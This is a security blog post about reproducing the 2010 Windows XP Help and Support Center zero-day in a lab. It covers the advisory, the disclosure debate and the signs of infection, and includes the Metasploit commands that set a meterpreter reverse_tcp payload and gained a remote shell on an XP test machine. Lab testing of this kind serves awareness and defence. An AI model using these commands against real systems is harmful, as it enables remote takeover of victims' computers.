After seeing all the buzz on twitter about the newly discovered Microsoft zero day, I decided to try and replicate it in my lab and just act as another source for bringing about some awareness on the issue at hand.
According to Microsoft Security Advisory (2219475), Microsoft is investigating new public reports of a possible vulnerability in the Windows Help and Support Center function that is delivered with supported editions of Windows XP and Windows Server 2003. This vulnerability could allow remote code execution if a user views a specially crafted Web page using a Web browser or clicks a specially crafted link in an e-mail message. Microsoft is aware that proof of concept exploit code has been published for the vulnerability. However, Microsoft is not currently aware of active attacks that use this exploit code or of customer impact at this time. Microsoft is actively monitoring this situation to keep customers informed and to provide customer guidance as necessary.
In short you are affected if you are running any of the following OS:
- Windows XP Service Pack 2 and Windows XP Service Pack 3
- Windows XP Professional x64 Edition Service Pack 2
- Windows Server 2003 Service Pack 2
- Windows Server 2003 x64 Edition Service Pack 2
- Windows Server 2003 with SP2 for Itanium-based Systems
The advisory was prompted by the bug’s disclosure early Thursday , and the release of proof-of-concept attack code. Tavis Ormandy, a security engineer who works for Google in Switzerland, defended the decision to reveal the flaw only five days after reporting it to Microsoft. But Microsoft and other researchers questioned the quick publication.
Now I am somewhat on the fences with this one, I can see how responsible disclosure would have been ideal in this case for Microsoft. This would have given MS some more time to get a fully tested patch out. On the flip side I think knowing in advance can give us as defender a fighting chance since the disclosure to patch cycle can be a pretty lengthy process, and the “bad guys” could have already been using this for a long time now.
While trying to test this I was running into some issues then I was pointed to the following pastebin entry from the helpful guys over at http://www.skullsecurity.org/blog/ IRC.
POC testing with Metasploit Test #1:
I started by testing the current exploit from the Metasploit framework on my BT4 VM, while attacking my Windows 7 workstation which had MSE installed. Since the release notes stated that Windows 7 is not affected I just wanted to see what type of effect it would have. I loaded up my Backtrack VM, lauched MSF and use the following commands.
msf > use exploit/windows/browser/ms10_xxx_helpctr_xss_cmd_exec
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > SET SRVHOST 192.168.126.131
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >SET LHOST 192.168.126.131
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >exploit
And as expected it failed!
Fig-1 Failed against Win7
Interestingly enough Microsoft Security Essentials was able to detect this while my Comodo Internet security suite did not.
Fig-2 MSE detected Exploit attempt
I was then able to browse my temporary internet folder and detected the html page with the malicious Iframe.
Fig-3 Malicious Iframe
POC testing with Metasploit Test #2:
I then went on to try this on a newly build Windows XP SP3 and it kept failing, now after running the 74 or so Windows updates I attempted to try it again and I was sucessful. So it is always important to run updates
.
I started this second test by loading up my BackTrack VM and repeating the same steps as above, then once this is setup I then went over to my Windows XP test machine and connected to http://backtrackmachine, so and just sit back and watch Metasploit with the Meterpreter payload do its thing.
msf > use exploit/windows/browser/ms10_xxx_helpctr_xss_cmd_exec
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > SET SRVHOST 192.168.126.131
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >SET LHOST 192.168.126.131
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >exploit
Fig-4 XP Successfully Exploited
Fig-5 Game over
As you can see form Fig-5 above the payload was deployed successfully and I was able to run a simple ipconfig command to verify that I was on the victim system with IP address 192.168.126.134. I also went back over to the XP machine and ran netstat -an to verify that I was connected to the BackTrack VM via the listening port 4444.
Fig-6 WinXP Netstat -an
Now I noticed a few things on the victim test XP machine, once I connected to the malicous URL, (which with all the socail media outlets its just too easy to get an average user to click on a link ):
- I saw a command prompt pop-up and disappeared after 1-2 seconds
- I notice my Windows media player launched itself
- Lastly the “Help and Support Center” page was launched
Now for the average user some of these things might not always send up a red flag. However for anyone remotely security conscious if you ever notice a few of these random acts of weirdness its time to get out that clean backup image and start the nuke and pave process.
References
http://www.computerworld.com/s/article/9177966/Microsoft_confirms_critical_Windows_XP_bug
http://www.microsoft.com/technet/security/advisory/2219475.mspx
http://seclists.org/fulldisclosure/2010/Jun/205
http://www.offensive-security.com/metasploit-unleashed/metasploit-unleashed-free-information-security-training